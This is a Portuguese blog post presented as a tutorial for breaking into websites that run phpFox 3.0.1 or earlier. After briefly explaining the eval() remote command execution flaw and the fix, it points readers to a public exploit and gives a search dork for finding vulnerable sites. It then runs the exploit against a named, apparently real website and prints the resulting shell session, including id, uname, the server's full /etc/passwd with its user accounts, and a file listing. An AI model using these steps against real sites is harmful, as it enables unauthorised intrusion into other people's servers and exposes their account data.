quarta-feira, 20 de junho de 2012

Tutorial: Invadindo websites com phpFox <= 3.0.1


phpfox_banner-460x250



Foi descoberta no dia 7 de fevereiro de 2012 e liberada em público anteontem (23/03/2012) uma vulnerabilidade no software phpFox, uma rede social em PHP, muito utilizado.
A vulnerabilidade está presente na versão 3.0.1 ou anterior. Trata-se de Remote Command Execution.
Uma atualização foi liberada (versão 3.0.2), mas nem todo administrador tem saco pra ficar atualizando seus sistemas (essa é a verdade).

É daquelas falhas que há um exploit que já faz tudo pra você. Vou mostrar como utilizar o exploit, mas antes, vamos entender a falha, que está no arquivo /include/library/phpfox/module/module.class.php, acessado pelo arquivo /ajax.php, das linhas 716 até 754. Veja:
1
2
3
4
5
6
7
8
9
10
11
716.            $aParts = explode('.', $sClass);
   717.            $sModule = $aParts[0];
   718.            $sComponent = $sType . PHPFOX_DS . substr_replace(str_replace('.', PHPFOX_DS, $sClass), '', 0, strlen($sModule . PHPFOX_DS));
   ...
   748.            if (preg_match('/(.*?)\((.*?)\)/', $sComponent, $aMatches) && !empty($aMatches[2]))
   749.            {
   750.                eval('$aParams = array_merge($aParams, array(' . $aMatches[2] . '));');
   751.
   752.                $sComponent = $aMatches[1];
   753.                $sClass = $aMatches[1];
   754.            }
Note que o vilão principal é a função eval(). Eu sempre digo: eval is evil. Evite ao máximo dos máximos utilizar esta função.
No eval, o programador declara uma variável ao resultado de uma função, array_merge(), mas não trata as variáveis já declaradas utilizadas dentro do eval().
Solução: Atualizar para o phpFox 3.0.2.
Fechando a função array_merge, é possível executar outros códigos. Este exploit permite que você execute códigos no terminal do sistema. Vamos utilizá-lo?
Primeiro, pegue-o aqui. Baixe o arquivo ou copie e salve seu conteúdo.
Você precisa ter instalado o PHP.
Para encontrar websites vulneráveis, utilize a dork:
1
intext:"Powered by phpFox Version 3.0.1"
Encontramos este website: www.valestream.com
Então, no bash/DOS digite (suponhando que o exploit está salvo como ‘phpfox.php’):
1
php phpfox.php www.valestream.com /
Explicando:
php phpfox.php => diz ao PHP para executar o arquivo phpfox.php
www.valestream.com => domínio
/ => local da instalação do phpFox
Como neste caso o sistema estava rodando na raiz, colocamos apenas uma barra. Se ele estivesse instalado no diretório “phpfox”, digitaríamos ‘/phpfox’.
Veja o resultado:
1
2
3
4
5
6
7
nonono@debian:/nonono$ php phpfox.php www.valestream.com /
 
+----------------------------------------------------------+
| phpFox <= 3.0.1 Remote Command Execution Exploit by EgiX |
+----------------------------------------------------------+
 
phofox-shell#
Vamos testar:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
phofox-shell# id
uid=1041(t2ypafw4) gid=1033(t2ypafw4) groups=1033(t2ypafw4)
phofox-shell# uname -a
Linux server6.hostinro.com 2.6.18-164.9.1.el5 #1 SMP Tue Dec 15 20:57:57 EST 2009 x86_64 x86_64 x86_64 GNU/Linux
phofox-shell# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
cpanel:x:32001:32001::/usr/local/cpanel:/bin/false
named:x:25:25:Named:/var/named:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
mysql:x:101:103:MySQL server:/var/lib/mysql:/bin/bash
mailman:x:32002:32002::/usr/local/cpanel/3rdparty/mailman:/bin/false
cpanelhorde:x:32003:32005::/var/cpanel/userhomes/cpanelhorde:/usr/local/cpanel/bin/noshell
cpanelphpmyadmin:x:32004:32006::/var/cpanel/userhomes/cpanelphpmyadmin:/usr/local/cpanel/bin/noshell
cpanelphppgadmin:x:32005:32007::/var/cpanel/userhomes/cpanelphppgadmin:/usr/local/cpanel/bin/noshell
cpanelroundcube:x:32006:32008::/var/cpanel/userhomes/cpanelroundcube:/usr/local/cpanel/bin/noshell
hostinro:x:504:501::/home/hostinro:/usr/local/cpanel/bin/noshell
rivonze:x:508:504::/home/rivonze:/usr/local/cpanel/bin/noshell
gabi0001:x:509:505::/home/gabi0001:/usr/local/cpanel/bin/noshell
anndreii:x:510:506::/home/anndreii:/usr/local/cpanel/bin/noshell
tomcat:x:102:99::/home/tomcat:/bin/bash
stefan1:x:514:510::/home/stefan1:/usr/local/cpanel/bin/noshell
trimitef:x:519:515::/home/trimitef:/usr/local/cpanel/bin/noshell
avaos:x:520:516::/home/avaos:/usr/local/cpanel/bin/noshell
csl2ro:x:521:517::/home/csl2ro:/usr/local/cpanel/bin/noshell
mosnicol:x:524:520::/home/mosnicol:/usr/local/cpanel/bin/noshell
pariulzi:x:527:523::/home/pariulzi:/usr/local/cpanel/bin/noshell
cameliab:x:529:525::/home/cameliab:/usr/local/cpanel/bin/noshell
valeabuz:x:530:526::/home/valeabuz:/usr/local/cpanel/bin/noshell
recomand:x:531:527::/home/recomand:/usr/local/cpanel/bin/noshell
jordivil:x:1005:1000::/home/jordivil:/usr/local/cpanel/bin/noshell
recom:x:1006:1001::/home/recom:/usr/local/cpanel/bin/noshell
promovar:x:1007:1002::/home/promovar:/usr/local/cpanel/bin/noshell
cautpeci:x:1008:1003::/home/cautpeci:/usr/local/cpanel/bin/noshell
iaudepen:x:1010:1005::/home/iaudepen:/usr/local/cpanel/bin/noshell
cpaneleximfilter:x:1009:503::/var/cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshell
artnudep:x:1011:1006::/home/artnudep:/usr/local/cpanel/bin/noshell
clamav:x:103:104:Clam Anti Virus Checker:/var/clamav:/sbin/nologin
driveren:x:1016:1010::/home/driveren:/usr/local/cpanel/bin/noshell
servicel:x:1017:1011::/home/servicel:/usr/local/cpanel/bin/noshell
kameniro:x:1018:1012::/home/kameniro:/usr/local/cpanel/bin/noshell
lumio:x:1019:1013::/home/lumio:/usr/local/cpanel/bin/noshell
stefan:x:1021:1015::/home/stefan:/usr/local/cpanel/bin/noshell
eventtra:x:1022:1016::/home/eventtra:/bin/bash
filmeb:x:1024:1017::/home/filmeb:/usr/local/cpanel/bin/noshell
hostings:x:1026:1019::/home/hostings:/usr/local/cpanel/bin/noshell
raduz:x:1028:1021::/home/raduz:/usr/local/cpanel/bin/noshell
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
tpech6fr:x:1029:1022::/home/tpech6fr:/usr/local/cpanel/bin/noshell
br2m8cle:x:1030:1023::/home/br2m8cle:/usr/local/cpanel/bin/noshell
stefan4:x:1035:1027::/home/stefan4:/usr/local/cpanel/bin/noshell
v9traj6t:x:1036:1028::/home/v9traj6t:/usr/local/cpanel/bin/noshell
procasim:x:1037:1029::/home/procasim:/bin/false
ukick:x:1038:1030::/home/ukick:/usr/local/cpanel/bin/noshell
mabis:x:1040:1032::/home/mabis:/usr/local/cpanel/bin/noshell
t2ypafw4:x:1041:1033::/home/t2ypafw4:/usr/local/cpanel/bin/noshell
smedia:x:1042:1034::/home/smedia:/usr/local/cpanel/bin/noshell
p6v9tp6t:x:1044:1036::/home/p6v9tp6t:/usr/local/cpanel/bin/noshell
pr3wr9tp:x:1045:1037::/home/pr3wr9tp:/usr/local/cpanel/bin/noshell
wr4ph4n9:x:1046:1038::/home/wr4ph4n9:/usr/local/cpanel/bin/noshell
ropiese:x:1047:1039::/home/ropiese:/usr/local/cpanel/bin/noshell
deboala:x:1048:1040::/home/deboala:/usr/local/cpanel/bin/noshell
admin:x:1049:1041::/home/admin:/usr/local/cpanel/bin/noshell
p8tp6vut:x:1050:1042::/home/p8tp6vut:/usr/local/cpanel/bin/noshell
domeniul:x:1051:1043::/home/domeniul:/bin/false
oradesan:x:1052:1044::/home/oradesan:/usr/local/cpanel/bin/noshell
tramvaiu:x:1053:1045::/home/tramvaiu:/usr/local/cpanel/bin/noshell
diseasei:x:1055:1047::/home/diseasei:/usr/local/cpanel/bin/noshell
fr4yp7br:x:1056:1048::/home/fr4yp7br:/usr/local/cpanel/bin/noshell
bodymark:x:1057:1049::/home/bodymark:/bin/false
phofox-shell# ls
ajax.php
core
crossdomain.php
gzip.php
image
image.php
index.html
jscript
mp3
nodb.html
paokara
ppp
ss
sss
style*
style.php
tmp
upgrade.html
 
phofox-shell#
Há algumas restrições: você não pode rodar pontos (“.”) e nem parêntesis (“(” e “)”).
Divertido?
Brinquem direito!
← Postagem mais recente Postagem mais antiga → Página inicial

0 comentários:

Postar um comentário

Copyright © Hacking & Security | Powered by Xandao Design by Xandao86 | Xandao86